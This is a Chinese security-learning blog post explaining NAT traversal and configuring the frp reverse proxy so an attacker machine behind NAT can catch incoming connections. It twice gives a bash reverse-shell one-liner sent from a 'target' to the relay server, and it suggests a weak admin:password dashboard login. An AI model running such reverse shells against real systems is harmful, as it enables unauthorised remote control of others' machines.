本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)——一次完整的渗透流程
- WebShell命令执行限制(解决方案)
- 记一次艰难的SQL注入(过安全狗)
- MSF(2)——各种木马的生成及简单的免杀
- MSF(3)——apk和exe的加马(过360、火绒)
介绍
内网穿透
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
摘自:百度百科
简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。
我们平时使用的计算机,如果在命令行中输入ipconfig
或者ip a
,可以看到自己的ip地址。
这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。
但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。
假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。
获取公网ip的方法网上教程很多,可以自行查询。
在这里介绍内网穿透技术。
内网穿透技术的工作方式大概可以通过这样一张图表示
通过间接的方式实现攻击机和目标机的连接。
内网穿透工具
在这里推荐我之前一直用的内网穿透工具:Sakura frp
官网:https://www.natfrp.com/
通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量
这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。
该软件不是今天介绍的重点,感兴趣的可以自行了解
frp
frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
摘自:百度百科
这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。
使用实例
在这里举一个实例。
首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
由于是真实环境,所有IP我都会进行处理
Server:121.-.-.-
Target:60.-.-.-
Me:192.168.1.9
首先在公网服务器上,开启frps服务
接下来在自己电脑上运行frpc
此时内网穿透已经建立成功。
其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
在目标机上执行回显命令
bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'
可以看到我自己的电脑成功收到了回显
安装
GitHub:https://github.com/fatedier/frp/releases
去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
例如,我在这里下的是这两个
windows系统直接解压即可
把Linux的压缩包移到服务器上,输入
tar -zxvf frp_0.44.0_linux_amd64.tar.gz
解压
服务端配置
给文件夹先改个名字
cd进去,可以看到
其中,frps是服务器端的启动文件,frps.ini是配置文件
vim编辑frps.ini,修改内容如下
[common]
bind_port = 7030
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password
log_file = ./frps.log
max_pool_count = 50
参数
- bing_port :重要,自己的电脑连接的端口
- dashboard_port : Web端的端口
- dashboard_user :Web端登录账号
- dashboard_pass :Web端登录密码
- log_file :日志输出位置
- max_pool_count :最大连接数
这里像我一样配置就好了,当然,你也可以自己改
服务端启动
输入
./frps -c ./frps.ini
启动
此时访问该服务器的7500端口,看到web界面即为启动成功
用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
客户端配置
修改frpc.ini
[common]
server_addr = 服务端的IP
server_port = 7030
[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000
[reverse2]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 6001
参数:
- server_addr : 服务器的IP
- server_port : 服务器配置的端口
类似
[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000
就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口
想要开隧道就像这样开就好了,type表示协议
客户端启动
命令行输入:
frpc.exe -c frpc.ini
在这里我是建了一个bat文件,方便启动
启动如下
注:要先启动服务端,否则就是这样
启动之后,web界面可以看到开启的隧道
测试
在这里以本地端口的1234,对应远程端口6000测试
本地ncat监听
ncat -lvvp 1234
目标靶机执行回显指令
bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'
成功回显
此时在web端可看到传输了数据